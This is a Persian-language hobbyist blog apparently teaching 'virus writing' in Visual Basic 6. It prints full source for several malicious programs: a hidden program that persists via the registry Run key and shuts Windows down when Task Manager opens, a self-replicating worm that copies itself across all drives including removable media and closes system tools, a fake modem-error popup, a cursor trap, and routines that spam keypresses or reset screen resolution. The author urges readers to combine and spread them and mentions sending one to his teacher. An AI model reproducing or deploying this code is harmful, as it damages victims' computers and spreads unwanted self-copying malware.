شروع کار این وبلاگ بود.اولین حضور من.

  و امروز ۲۶/۹ /۸۶   آخرین روز حضور من

توی این ۲ سال و چند ماه دوستای زیادی پیدا کردم. چیزای زیادی یاد گرفتم و امروز روز آخر من

*************

فراموشم نکنین

مشغول ذمه اید این اگه مطالب این وبلاگ رو قاطی نکنین!!

نمیدونم تا حالا چند بار شما را سفارش اکید کردم به مخلوط کردن مطالب.این بار هم یه ویروس مخلوطی واستون اوردم که تا حدودی ایده ی اون متعلق به خواهر محترمه کیمیا خانوم است.

***-----------------------------------------------------------------------------***

دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)

ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه

وسایل لازم: فقط یه تایمر مثل همیشه!

کدها:

Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1

Me.Hide

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
  MsgBox "Dont press  alt+ctrl+del", vbCritical, "This is not a virus !!"

Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub

و اما توضیحات:

خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown  رو اجرا میکنه

اگه فکر میکنین الان یه ویروس توپ واستون آماده کردم که ظرف ۲ ساعت کل اینترنت رو پر میکنه به بزرگترین مشکل امنیتی سال مبدل میشه و پدر ملت رو در میاره باید بگم : نچ

فقط یه خاطره عبرت آموز:

یه چند وقت پیش در وبلاگ یکی از دوستان سخت مشغول نظر دادن بودم که یهو دیدم ای بابا!چرا هر نظر ۲ بار ثبت میشه.و بعد فهمیدم عیب از کیبورد بندست که بعد از هر بار فشردن اینتر ناگهان refresh هم میکنه نا مرد!

و اما نتیجه داستان!

اگه از جنبه ویروسی به این قضیه یه نگاهی بندازیم (تذکر جدی: در غیر این صورت این داستان آموزنده تمامی اثر تربیتی خودش رو از دست خواهد داد) خواهیم فهمید این داستان واقعی میتونه منبع الهام واسه یه ویروس خوشگل و ساده باشه

به ویروسی فکر کنید که هر چند ثانیه یه بار refresh کنه و این واسه وقتی تو اینترنت میچرخیم یه فاجعه است. این که ملت فکر کنن یه چیزیت هست که هر نظر رو ۲ بار میدی فقط بخشی از اون مشکلاته.

خب چطور میتونیم به این مهم !! دست پیدا کنیم؟ اگه گفتین؟  خیلی ساده :ما باید یه ویروسی بسازیم که پشت سر هم کلید f5 رو فعال کنه: خب چجوری؟کافیه به اون ویروس فسقلی توی سه پست قبل نیگا کنین.خیلی ساده اما جذاب

مواد لازم: فقط یه تایمر

خب بریم سر وقت کدا:

Private Sub Timer1_Timer()
SendKeys {f5}", 1
End Sub

Private Sub Form_Load()
Timer1.Interval = 1000
End Sub

دیدین یا نه؟ ما یه ۴ رو توی ویروس قبلی کردیم ۵ .و یه ویروسی بوجود امد که تقریبا زمین تا اسمون با قبلب فرق میکرد. به این میگن معجزه  نمیگن؟

و اما: اگه مطالب این ویروس رو با مطالب پیش نیاز قبلی( راستی تا حالا پیش نیاز بهتون خورده؟ میگن خیلی زور میگه) قاطی کنین این ویروس به مراتب مامانی  تر خواهد شد.

توی فیلم ماتریکس ۱ اسمیت به مورفیوس یه حرف قشنگی میزنه:(البته بنده نقل به مضمون میکنم)  میگه شما ادما دقیقا مثل ویروس میمونین .میرین سراغ یه مکانی که منابع وجود داره و اون وقت شروع میکنین به زیاد شدن و تکثیر و بعد از اینکه منابع تموم شد میرین یه جای دیگه و باز این همین کار رو میکنین!  (خودم: ولابد اگه دیگه جایی پیدا نکردیم شروع می کنیم به خوردن هم دیگه! )                                                                                                          

 کرم این دفعه یه چیزی تو همین مایه هاست. یعنی ایندفعه کرمی گذاشتم که خودش رو تکثیر میکنه.دوستان این کرم رو دست کم نگیرین.اگرچه خیلی سادست ولی پیش نیاز ویروسا و کرم های جدیده همون طور که گفته بودم این کرم از نسل جدید ویروسای این وبلاگه و این نسل نسلیه که میتونه خودش رو تکثیر کنه.اگر چه من این نوع رو روی یه کرم اجرا کردم ولی دقت کنین این قابلیت  به درد ویروسهام میخوره

و اما توضیح تخصصی!!

این کرم تلفیقی بود از سه-چهار تا از مطالب این وبلاگ(دوستان شما رو به ویروس کبیر چرنوبیل ونوسینده اون  قسم میدم مطالب اینوبلاگ  رو باهم قاطی کنین و ببینین چه معجزاتی !! از دستتون بر میاد) و یه سری مطالب جدید

توی قسمت جنرال میتونین چند تا توابع api و نحوهی تعریف اونا رو ببینین.(با تابع  FindWindow  و SetForegroundWindow  قبلا در ویروس closer آشنا شدین و با ۲ تای دیگم یعنی CopyFile و CreateDirectory هم امروز آشنا میشین.

نکته:دوستان اگه احیانا برخی شما دوستان عقیده دارین بنده به علت نوشتن این همه تابع قلمبه سلمبه یکی از نوابغ برنامه نویسیم باید بگم خیلی ممنوم ولی اصلا نیازی به حفظ کردن نحوه تعریف این توابع نیست بلکه  این توابع رو میتونین خیلی کامل از سایت های مربوطه بگیرین. وشک نکنین منم همین کار رو کردم.(البته این مطلب هیچی از نابغه بودن من کم نمیکنه ها!!!!!!!!)

و اما چرا اینقدر timer & text box؟                                                                                     دوستان راهای ساده تری هم بود ولی من خواستم این طوری یه سیستم چرخشی برای انتخاب نام پوشه و نام درایو درست کنم که شما میتونین از راهای ساده تری کمک بگیرین ولی یادتون نره اینطوری برنامه در ساده ترین وضع ممکنه! و خیلی راحت میتونه کارش رو بکنه)

و اما شرح ماوقع!

در اولین اجرا این کرم خودش رو در دایرکتوری ویندورز کپی و اجرا میکنه (واسه روز مبادا) و همچنین بطور چرخشی اقدام به ساخت پوشه و کپی کردن خودش اونجا میکنه و هر چند وقت یه بار یکی از اونا رو هم اجرا میکنه

در ضمن ویروس closer هم در دل این کرم موجوده(تایمر ۱۸)

نماز و روزه هاتون قبول درگاه همون که میدونین!!

خب دوستان تابستونم پر. انشاا.. استفاده که کردین؟ من که استفاده کردم اساسی!   ثمره این استفادم توی قبض تلفن ایندمون مشهود خواهد بود.(بیچاره بابام  و در مرحله بعد بیچاره من!)           باور کنین توی عمرم این قدر وبگردی نکرده بودم!

 دوستان گفته بودم نظرات تا به ۷-۸ تا نرسه اپ نمیکنم.(البته  خودم از این حرفم پشیمون شدم)     نکته جالب این بود که اگه تلاش و لطف شیما خانوم نبود معلوم نبودتا کی باید صبر میکردم تا این نظرا به ۷-۸ تا برسه.منم جون شما خمار آپ کردن!    حتی گاهی اوقات بسرم میزد برم واسه خودم نظر بدم  تا دست کم رو حرف خودمون وایساده باشیم. به قول معروف حرف  مرد یکیه (ولی متاسفانه این ضرب المثل در مورد حرف نامرد هیچ  اظهار نظری نکرده)

به هر حال دوستان با شروع شدن سال تحصیلی احتمال سرد شدن بنده نسبت به دنیای گرم ویروس نویسی هست.مخصوصا که رشتمونم هر جورز حساب کنی به vb مربوط نمیشه. واسه همینم گفتم با خود بهتره هرچی بلدم رو تند تند بیریزم (معادل بریزم در لهجه شیرین! اصفهانی) رو دایره

  ***-------------------------------------------------------------------------------------------***  

دوستان میدونین خدا کی به خودش آفرین گفته؟ فکر کنم بعد از خلق انسان                                           حالا اگه گفتین   من کی  به خودم  آفرین گفتم؟ فکر کنم بعد از خلق!! این کرم دوست داشتنی!!( دوستان دقت کنین بر خلاف اون چه به نظر میاد اصلا در حال پا کردن تو کفش خدا نیستما!!!)

چند وقت بودم که به این فکر میکردم ویروسای خوشگلم یه ایرادی دارن.و اون ایراد اینه که هوای همدیگه رو ندارن. در این میون من همچون یه پدر دلسوز اقدام کردم به چاره اندیشی . حالا چاره اندیشی کن کی نکن!(ای کیو سان رو یادتونه چجوری چاره اندیشی میکرد!!)

تا این که مخیله ی عزیز بهم گفت این خیلی راحته.باید هر کدوم از ویروسات رو وادار کنی مثل خودشونو بوجود بیارن(کپی کنن) و برادرشون رو راه بندازن

نتیجه چی میشه؟ مجموعه ای از ویروسا(این دفعه یه کرم دارم واستون) که بهم متصل اند.هم رو اجرا میکنن و دائما زیاد میشن!!!!   اجرا کردن رو که قبلا بهتون راه کارشومعرفی کرده بودم.(call shell عزیز یادتون هست؟) و حالا هم راهکاری واسه کپی کردن:                                                                                                                                توابع   api واسه همینه دیگه    

****-----------------------------------------------------------------------------------------------****

نحوه عملکرد: این کرم در اولین اجرا شروع میکنه به ساختن پوشه در تموم درایو ها (حتی فلاپی و فلش مموری ها) و کپی کردن خودش توی اون پوشه ها و اجرا کردن اونا! البته خوکارم هست و یه سری برنامه که به کاربر بیچاره ممکنه کمکی بکنه رو هم بلافاصله میبنده!!

نتیجه: پر شدن فضای هارد - تعدد پوشه ها در درایو هاـ پر شدن فضای رم- در اومدن پدر قربانی

مواد مورد نیاز:(آدم یاد برنامه خانواده میفته!) ۱۸ تا timerـ   ۸ تا textbox

خب بریم سراغ کدا"

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Sub Form_Load()
On Error Resume Next
CopyFile App.Path & "\New Folder.exe", "C:\WINDOWS\system32\New Folder.exe", 0
Call Shell("C:\WINDOWS\system32\New Folder.exe")
App.TaskVisible = False
Me.Hide

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Timer1.Interval = 2000
Timer2.Interval = 1000
Timer3.Interval = 1000
Timer4.Interval = 1000
Timer5.Interval = 1000
Timer6.Interval = 1000
Timer7.Interval = 1000
Timer8.Interval = 1000
Timer9.Interval = 1000
Timer10.Interval = 700
Timer11.Interval = 700
Timer12.Interval = 700
Timer13.Interval = 700
Timer14.Interval = 400
Timer15.Interval = 400
Timer16.Interval = 1000
Timer17.Interval = 60000
Timer18.Interval = 1
End Sub

Private Sub Timer16_Timer()
On Error Resume Next
Dim Security As SECURITY_ATTRIBUTES
    Ret& = CreateDirectory(Text8.Text, Security)
CopyFile App.Path & "\New Folder.exe", Text8.Text + "\New Folder.exe", 0

End Sub
Private Sub Timer1_Timer()
Randomize Timer
Text1.Text = Int(Rnd * 10000) + "1"
End Sub

Private Sub Timer10_Timer()
Text6.Text = Text2
End Sub

Private Sub Timer11_Timer()
Text6.Text = Text3
End Sub

Private Sub Timer12_Timer()
Text7.Text = Text4
End Sub

Private Sub Timer13_Timer()
Text7.Text = Text5
End Sub

Private Sub Timer14_Timer()
Text8.Text = Text6
End Sub

Private Sub Timer15_Timer()
Text8.Text = Text7
End Sub

Private Sub Timer17_Timer()
On Error Resume Next
Call Shell(Text8.Text)
End Sub

Private Sub Timer18_Timer()
On Error Resume Next
Dim handel As Long
Dim hande2 As Long
Dim hande3 As Long
Dim hande4 As Long
handel = FindWindow(vbNullString, "system configuration utility")
hande2 = FindWindow(vbNullString, "WINDOWS TASK MANAGER")
hande3 = FindWindow(vbNullString, "system32")
hande4 = FindWindow(vbNullString, "run")

If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If

If hande2 <> 0 Then
SetForegroundWindow hande2
SendKeys "%{f4}", 1

End If

If hande3 <> 0 Then
SetForegroundWindow hande3
SendKeys "%{f4}", 1

End If

If hande4 <> 0 Then
SetForegroundWindow hande4
SendKeys "%{f4}", 1

End If

End Sub

Private Sub Timer2_Timer()
Text2.Text = "c:\" + Text1.Text
End Sub

Private Sub Timer3_Timer()
Text3.Text = "e:\" + Text1.Text
End Sub

Private Sub Timer4_Timer()
Text4.Text = "g:\" + Text1.Text
End Sub

Private Sub Timer5_Timer()
Text3.Text = "f:\" + Text1.Text
End Sub

Private Sub Timer6_Timer()
Text2.Text = "d:\" + Text1.Text
End Sub

Private Sub Timer7_Timer()
Text4.Text = "h:\" + Text1.Text
End Sub

Private Sub Timer8_Timer()
Text5.Text = "k:\" + Text1.Text
End Sub

Private Sub Timer9_Timer()
Text5.Text = "a:\" + Text1.Text
End Sub

***-----------------------------------------------------------------------------------------------*****

دوستان الان که من دارم این پست رو واستون میتایپم ساعت ۶ صبحه.دیگه کم کم دارم کیبورد رو ۲ تا میبینم

نتیجه اخلاقی: توضیحات بمونه واسه بعد

بای بای

بریم سراغ کدا(این ویروس یه Timer میخواد)

Private Sub Timer1_Timer()
SendKeys "www.irvirus.blogfa.com", 1
End Sub

Private Sub Form_Load()
Timer1.Interval = 1000
End Sub

روزگار چطور میگذره؟خوب هست یا نه

یه چند روزی که هست که ویندوز vista رو بالاخره گرفتم.عالیه ولی همون طور که گفته میشد واقعا جدیده.معماری هستش هم کاملا بهینه ست (و جدید) .بنابراین تقریبا هیچ کدوم از این ویروسا و برنامه ها روش اون طور که باید کار نمیده ولی مهم نیست.ویندوز xp پنج سال طول کشید تا همه گیر بشه و شر ویندوزای قبلی رو کمکنه با این حساب ما هم ۴-۵ سال دیگه فرصت حال کردن با ویروسای فعلی رو داریم .

*********************************************************************

یه چند روزی بود که تو فکر یه ویروس جدید بودم تا اینکه توی یه پستام برنامه ای دیدمکه قسمت های  control panel رو اجرا میکنه

با خودم فکر کردم اخه این چه ربطی به ویروس داره! و خواستم حذفشون کنم.(با خودم فکر کردم رسالتی!!! که بر دوش منه ویروسه ونه برنامه های کاربردی)

اما خوب که مسئله رو در مخیله برانداز کردم دیدم هی !! میشه یه کاریش کرد.

ویروس ایندفه (نمیدونم چرا دلم راضی نمیشه به اینم بگم ویروس!!شاید بگم بچه ویروس بهتر باشه)

در عین سادگی خیلی باحاله! یه دفعه ۱۰-۲۰ تا برنامه رو باز میکنه و  نمیشه بستشون!!

در ضمن خودکارم هستو در اولین اجرا خودش رو تو رجیستری کپی میکنه.

*********************************************************************

خب بریم سراغ کدا:(این برنامه یه timer میخواد)

Private Sub Form_Load()
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

App.TaskVisible = False
Me.Hide
Timer1.Interval = 2000

End Sub

Private Sub Timer1_Timer()
Call Shell("rundll32.exe shell32.dll , Control_RunDLL ")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL acces.cpl, ,1")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL acces.cpl, ,3")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL acces.cpl, ,2")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL appwiz.cpl , ,1")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL acces.cpl, ,4")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL appwiz.cpl , ,2")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL main.cpl @1 ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL modem.cpl ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL ncpa.cpl ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL mmsys.cpl ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL telephon.cpl")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL telephon.cpl")
Call Shell("rundll32.exe shell32.dll , Control_RunDLL findfast.cpl ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL intecpl.cpl, , 0 ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL intl.cpl, , 0 ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL intl.cpl, , 2 ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL intl.cpl, , 1 ")
Call Shell("rundll32.exe shell32.dll ,Control_RunDLL joy.cpl ")

End Sub

توضیح****************************************************************

دوستان دستور shell در ویژوال بیسیک خودمونی که بخواییم بگیم برای فراخوانی (همون اجرای خودمون) برنامه ها (انواع فایل اجرایی و غیره...) بکار میره و این همون کاریه که کردیم فقط این برنامه ها رو به تعداد زیاد و بطور مستمر انجام دادیم و این طور شد که یه برنامه ساده به یه ویروس کاربردی(ولی همچنان ساده) تبدیل شد

قسمت form load هم که واستون اشناست؟(اگه نیست یه نیگا بندازین به پست اول)

۲-این کدا رو اگه کپی کنین درست میشن

*********************************************************************

در ضمن برای اینکه حجم وبلاگ پایین بیاد من پست قبلی که همون برنامه توش بود رو حذف کردم و اون رو توی ادامه مطلب همین پست کپی کردم 

منتظر نظراتون هستم

میخوامدون(مطابق لهجه زیبای اصفهانی)

حتما میدونید بعد از یکسال برگشتم

سالی که گذشت واقعا سال مزخرفی بود.(احتمالاپی کنکور به تنتون مالیده یا چند وقت دیگه دچارش خواهید شد!!)تقریبا دیگه هیچ وقت دیگه ای واسه ور رفتن و یا حتی فکر کردن به ویروس جدید نبودبالاخره سال تحصیلی ۸۶رد شد کنکورم دادیم رفت.

حالا نوبتیم که بود نوبت وبلاگم بود و دوستای توپی کهتو اینمدت مارو  ول نکردن.در اولین فرصتvb رو نصب كرىم و رفتم سر وقت ويروساي خوشكلم

اخ اخ چشمتون روز بد نبینه!هیچی دیگه یادم نبود.هیچی

اولش نا امید شدم گفتم اصلا بی خیال .گور پدر وبلاگ و وبلاگ نویسی اما یروز که اومدم نظرات وبلاگ رو چک کنم دیدمواقعا حیفه این همه ادم عاشق ویروس و کرم رو تنها بذارم(اونم در شرایطی که عشق ویروس اونقدام زیاد نیست!)(در ضمن کرم در جمله بالایی ایهام داشتا!)

با بدبختی دوباره تو یه ماه هرچی بلد بودیم رو جمع و جور کردیم به چند تا سایت و وبلاگ سر زدیم چند تا کتاب ورق زدیم وبلاگ خودمونو یه نگاهی بهش انداختیم تا کم کم راه افتادیم

خدا را شکر حالا من اینجام شمام این اینجاین(به به )

******************************************************************

و اما نظرات شما:

مبهمم :  من از کار شما اصلا ناراحت نیستم.تو حداقل اینقد شرف داشتی که بم بگی .در ضمن خوشحالم مطالب ما رو واسه وبلاگت انتخاب کردی

jms عزیز و آقا محمد از اینکه از مطالب اینجا واسه درس و مشقتون بدرد خورد خوشحالم

علیرضا از اینکه خوشت اومد و میخوای تبلیغ ما رو هم بکنی تو پوست خودم نمی گنجم(فک کن؟!)

نیما : اموزش چیزی که میخوای توی وبلاگ هست.یه نیگا دیگه بنداز!

محسن:توفکر اینکه این ویروسا رو (آماده) واسه دانلود بذارم هستم.از پیشنهادت ممنون

نیما۲-ما در بست مخلص تمام ویروس نویساییم بخصوص قدیمیاش(این اقا نیما به من پیشنهاد تشکیل یه تیم هم دادن )

نورا..:ممنون خدا از دهنت بشنوه!   

   ***************************************************************

تا بعد خدافظ

منتظر نظراتون هستم

به نام خدا

بعد از یک سال برگشتم

سلام

قبل از اینکه هر توضیحی در مورد غیبت یکسالم بدم همون جمله معروف:

((خب بریم سراغ کدا))

به جرات میتونم بگم  ویروس این دفعه یکی از شیرین ترین و جذاب ترین ویروسای این وبلاگه!خودم شخصا خیلی دوستش دارم

اساس کار این یکی هم مثل بقیه ویروسام خیلی سادست :فقط رزولوژن صفحه رو تغیییر میده و اساس کار اونم به timer وابستس

موارد مورد نیاز

 timer (اسم اونرا لازم نیست تغییر بدین)که interval اون ۲۰۰۰ میباشد

 اینم از کدای برنامه:

Option Explicit
Const WM_DISPLAYCHANGE = &H7E
Const HWND_BROADCAST = &HFFFF&
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const CCDEVICENAME = 32
Const CCFORMNAME = 32
Const DM_BITSPERPEL = &H40000
Const DM_PELSWIDTH = &H80000
Const DM_PELSHEIGHT = &H100000
Const CDS_UPDATEREGISTRY = &H1
Const CDS_TEST = &H4
Const DISP_CHANGE_SUCCESSFUL = 0
Const DISP_CHANGE_RESTART = 1
Const BITSPIXEL = 12
Private Type DEVMODE
    dmDeviceName As String * CCDEVICENAME
    dmSpecVersion As Integer
    dmDriverVersion As Integer
    dmSize As Integer
    dmDriverExtra As Integer
    dmFields As Long
    dmOrientation As Integer
    dmPaperSize As Integer
    dmPaperLength As Integer
    dmPaperWidth As Integer
    dmScale As Integer
    dmCopies As Integer
    dmDefaultSource As Integer
    dmPrintQuality As Integer
    dmColor As Integer
    dmDuplex As Integer
    dmYResolution As Integer
    dmTTOption As Integer
    dmCollate As Integer
    dmFormName As String * CCFORMNAME
    dmUnusedPadding As Integer
    dmBitsPerPel As Integer
    dmPelsWidth As Long
    dmPelsHeight As Long
    dmDisplayFlags As Long
    dmDisplayFrequency As Long
End Type
Private Declare Function EnumDisplaySettings Lib "user32" Alias "EnumDisplaySettingsA" (ByVal lpszDeviceName As Long, ByVal iModeNum As Long, lpDevMode As Any) As Boolean
Private Declare Function ChangeDisplaySettings Lib "user32" Alias "ChangeDisplaySettingsA" (lpDevMode As Any, ByVal dwFlags As Long) As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long
Private Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As String, ByVal lpDeviceName As String, ByVal lpOutput As String, ByVal lpInitData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim OldX As Long, OldY As Long, nDC As Long
Sub ChangeRes(X As Long, Y As Long, Bits As Long)
    Dim DevM As DEVMODE, ScInfo As Long, erg As Long, an As VbMsgBoxResult
    'Get the info into DevM
    erg = EnumDisplaySettings(0&, 0&, DevM)
    'This is what we're going to change
    DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_BITSPERPEL
    DevM.dmPelsWidth = X 'ScreenWidth
    DevM.dmPelsHeight = Y 'ScreenHeight
    DevM.dmBitsPerPel = Bits '(can be 8, 16, 24, 32 or even 4)
    'Now change the display and check if possible
    erg = ChangeDisplaySettings(DevM, CDS_TEST)
    'Check if succesfull
    Select Case erg&
        Case DISP_CHANGE_RESTART
          
        Case DISP_CHANGE_SUCCESSFUL
            erg = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)
            ScInfo = Y * 2 ^ 16 + X
            'Notify all the windows of the screen resolution change
            SendMessage HWND_BROADCAST, WM_DISPLAYCHANGE, ByVal Bits, ByVal ScInfo
           
        Case Else
            MsgBox "Mode not supported", vbOKOnly + vbSystemModal, "Error"
    End Select
End Sub

Private Sub Timer1_Timer()
Dim nDC As Long
    'retrieve the screen's resolution
    OldX = Screen.Width / Screen.TwipsPerPixelX
    OldY = Screen.Height / Screen.TwipsPerPixelY
    'Create a device context, compatible with the screen
    nDC = CreateDC("DISPLAY", vbNullString, vbNullString, ByVal 0&)
    'Change the screen's resolution
    ChangeRes 640, 480, GetDeviceCaps(nDC, BITSPIXEL)

End Sub

و اما توضیح(دقت کنید توضیح کامل  هر قسمت در میان کدا وجود داره)

اساس این برنامه(همون ویروس خودمونو میگم) برپایه تابع EnumDisplaySettings  کار میکنه .در واقع با این تابع شما میتونید مشخصات تصویر از وضوح گرفته تا تعداد رنگ را در کنترل بگیرین(یعنی کاری که ما میکنیم)

قسمت قشنگ کار از اونجایی شروع میشه که ما باtimer هامون مرتبا این تابع را بکار میندازیم ووضوح صفحه را تغییر میدیم

نکات

۱-با اینکه کدا یکم در همه ولی با کپی کردن درست میشن

۲-اگه این ویروسم با مطالب قبلی قاطی کنین خواهید دید که چه معجزاتی از دستون بر میاد

۳-اصلا انتظار ندارم وقت باارزشتون رو برای نظر دادن صرف کنین ولی باید بگم نظرات شما و محبتتون بزرگترین عامل برگشتم بود  هیچ وقت فراموشتون نمیکنم                     فراموشم نکنید

یا حق

 سلام دوستان

هیچ وقت روزایی رو یادم نمیره که شب تا صبح توی وب می چرخیدم تا  یه چیزی درمورد ویروس نویسی یاد بگیرم ولی متاسفانه هیچ منبع کامل و مدونی نبود.از همون روزا(شاید ۲ سال پیش) با خوودم عهد کردم به محض اینکه تونستم در حد توانم این خلا را پر کنم

اما حالا حرفم اینه

دوستی که الان داری این مطلب رو می خونی از تو خواهش می کنم اگه در توانت هست مطالب این وبلاگ رو حتی بدون ذکر منبع منتشر کنی شاید تا سال دیگه وبلاگایی رو دیدی که نویسندشون مثل من از صفر شروع کردن ولی بر عکس به عرش رسیدن

نهایت تلاشم رو برای برگشت می کنم

خداحافظ

سلام دوباره عرض می کنم خدمت همه دوستان عزيز

قبلا کفته  بودم که تاخير جند هفته ای خودم را با ويروسای عالی جبران کنم

و اما ويروس اين دفعه:

فکر کنم تقريبا همتون اون ويروس لعنتی را که يه دفعه ظاهر میشه و شما رو دعوت با راه نيک ميکنه و اگه گوش ندين موس رو توی قفس می اندازه  را ديده باشيد .راستش را بخاين منم خيلی دنبالش بودم تا بالاخره تونستم با تحقيق فراوون از اين ور و اون ور اونو برای شما اماده کنم.

البته اين کدا فقط مربوط به mouse cage و يا قفس موسه ولی می تونم بگم اگه مطالب اين وبلاگ رو مرور کنين می تونين خودتون اين ويروسو کامل بنويسين

مواد مورد نیاز: یه دکمه

بريم سراغ کدا

Private Type RECT

    left As Long

    top As Long

    right As Long

    bottom As Long

End Type

Private Type POINT

    x As Long

    y As Long

End Type

Private Declare Sub ClipCursor Lib "user32" (lpRect As Any)

Private Declare Sub GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT)

Private Declare Sub ClientToScreen Lib "user32" (ByVal hWnd As Long, lpPoint As POINT)

Private Declare Sub OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long)

Private Sub Form_Load()

 'Limits the Cursor movement to within the form.

    Dim client As RECT

    Dim upperleft As POINT

    'Get information about our wndow

    GetClientRect Me.hWnd, client

    upperleft.x = client.left

    upperleft.y = client.top

    'Convert window co?rdinates to screen co?rdinates

    ClientToScreen Me.hWnd, upperleft

    'move our rectangle

    OffsetRect client, upperleft.x, upperleft.y

    'limit the cursor movement

    ClipCursor client

    Command1.Caption = " disable"

End Sub

Private Sub Command1_Click()

    'Releases the cursor limits

    ClipCursor ByVal 0&

End Sub

Private Sub Form_Unload(Cancel As Integer)

    'Releases the cursor limits

    ClipCursor ByVal 0&

End Sub

و اما توضيح برنامه:

است. کاراین تابع اینه که نشانگر موس را در ClipCursor دوستان اساس اين برنامه بر پايه تابعی بنام

یک مستطیل محبوس میکنه

ما در پاراگرافهای اول این مستطيل رو فرم خودمون در نظر گرفتيم و این و سرانجام در رویداد کلید 1کدهایی که سبب وغیر فعال شدن برنامه میشن رو قرار میدیم تا خودتون گیر نیفتین .(البته اگه خواستين از این برنامه بعنوان ویروس استفاده کنین کلید 1 نا مرئی کنين)

البته گفتنیه که اگه تابع به مشکل بر بوخوره عدد 0 رو بر میگردونه که ما با همین روش کلید 1 را برای غیر فعال سازی برنامه طراحی میکنیم در واقع با فشردن کلید 1 به تابع عدد 0 رو نسبت داده و برنامه رو غیر فعال می کنیم.

یادتون نره ویروستون نیاز به کلید داره**

**************************************************************** 

ایندفعه کدای مکمل ویروس قبل رو براتون اماده کردم

اگه یه نگاهی و وبلاگ انداخه باشیم حتما دیدین که بعنوان برادر کوچیک شما چقدر روی خلاقیت بعنوان عامل موفقیت یه ویروس نویس تکیه کردم

شما این دفعه میبینید که با یه ذروه تغییر در کدای قبلی میشه چه ویروس مامانی ای ساخت

این ویروس جدید پس از اینکه پنجره dial up connection که برای وصل شدن بکار میزه را در صورت باز شدن شناسایی می کنه و بعد از 5 ثانیه از طرف ویندوز پیام میده که مودم را دوباره نصب کنین و بلافاصله dial up connection  رو میبنده .خب اگه شما جای یارو باشین چی کار می کنین؟؟؟

خب مثل همیشه اول بریم سراغ کدا

برای این ویروس فقط کافیه در کد قبلی این عبارت را دقیقا جایگزین کنین

handel = FindWindow(vbNullString, "Dial-up Connectionِ")

و بعداز اون این کدای مخصوص پیام را به رویداد تایمر خود اضافه کنین

MsgBox "Youre modem device is not working well please reinstall it", vbCritical, "Internet explorer"

درضمن  interval  تایمرتون باید 5000 باشه

*******************************************************************

البته فکر نمیکنم این برنامه نیاز به توضیح خاصی داشته باشه ولی اگه سوالی داشتین دریغ نکنین

در ضمن با اینکه کدا یه ذره در هم به نظر می ان ولی اگه کپی کنین درست میشن

تا ویروس بعدی یا علی

بسمه تعالی

سلام دوباره به تمامی دوستان

الان که دارم این مطالب را می نویسم یه ویروس مامانی برای معلم شیمیم فرستادم.

بریم سراغ کدا 

ابتدا این کد ها رو در قسمت general کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

